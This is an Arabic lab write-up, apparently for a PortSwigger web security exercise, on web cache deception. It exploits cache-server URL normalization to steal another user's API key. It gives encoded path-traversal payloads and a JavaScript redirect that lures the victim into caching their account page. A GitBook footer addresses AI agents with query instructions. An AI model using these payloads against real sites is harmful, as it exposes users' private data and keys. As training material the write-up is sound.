> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md).

# خداع الذاكرة المؤقتة عبر التطبيع من جانب خادم الذاكرة المؤقتة

### استغلال تطبيع خادم التخزين المؤقت في خداع ذاكرة التخزين المؤقت للويب

#### هدف المختبر

استرجع \*\*مفتاح API\*\* من المستخدم **carlos** من خلال إساءة استخدام **سلوك تطبيع عنوان URL** (فرق في التفسير بين التطبيق وخادم التخزين المؤقت). / الاتصال متاح: **wiener:peter**.

#### الملاحظة الأولية

نختبر لاحقات ثابتة لتفعيل ذاكرة التخزين المؤقت:

* طلب الاختبار:

```bash
GET /my-account~test.js
```

توجد استجابات مختلفة وفقًا لبعض الأحرف، والخادم يقبل:

* `#`
* `?`
* `%23` (ترميز URL لـ `#`)
* `%3f` (ترميز URL لـ `?`)

<figure><img src="/files/f0926aea07f1c85a8a0ee0640c8536b89b3f88ab" alt=""><figcaption></figcaption></figure>

#### نقطة نهاية مثيرة للاهتمام يتم تخزينها مؤقتًا أيضًا

يبدو أن دليل الموارد مخفي أيضًا:

```http
GET /resources/ HTTP/2
```

هذا مفيد لأننا سنحاول توجيه ذاكرة التخزين المؤقت إلى `/resources` مع الإبقاء على مسار يفسَّر في التطبيق على أنه `/my-account`.

<figure><img src="/files/dba79ec283422b84c515984f29748a96ca8f9f34" alt=""><figcaption></figcaption></figure>

#### التقنية: Fragment + Cross (مع التطبيع)

يتم إنشاء عنوان URL بحيث يواصل التطبيق معالجة **/my-account**، لكن حيث تقوم ذاكرة التخزين المؤقت بتطبيع/تفسير التسلسل ليؤدي إلى **/resources**.

الاختبارات :

```bash
GET /my-account#/../resources
# النسخة المشفّرة (التي «تنجح» هنا بشكل أفضل)
GET /my-account%23%2f%2e%2e%2fresources
```

النقطة الأساسية: **يتعامل خادم التخزين المؤقت بشكل أفضل مع النسخة المرمّزة بـ URL**، مما يؤدي إلى السلوك المتوقع.

<figure><img src="/files/d4156c6a4d32ba62899bde3db44487b3c461ed46" alt=""><figcaption></figcaption></figure>

#### الاستغلال: إجبار الضحية على تخزين الصفحة مؤقتًا

من خادم الاستغلال، تتم إعادة توجيه الضحية إلى عنوان URL المصيدة:

{% code overflow="wrap" %}

```javascript
<script>
    document.location = "https://0abe00b00342ae8780a1bcdf00f10008.web-security-academy.net/my-account%23%2f%2e%2e%2fresources";
</script>
```

{% endcode %}

#### النتيجة

بمجرد أن تمر الضحية عبر هذا العنوان، يتم استرداد المورد المقدم من ذاكرة التخزين المؤقت ويتم الحصول على \*\*مفتاح API الخاص بكارلوس\*\*، مما يؤكد نجاح المختبر.

<figure><img src="/files/f07ee5747e0842905bde5e74cbb7f0261ac9ba20" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/web-cache-deception/cheating-the-cache-via-cache-server-side-normalization.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
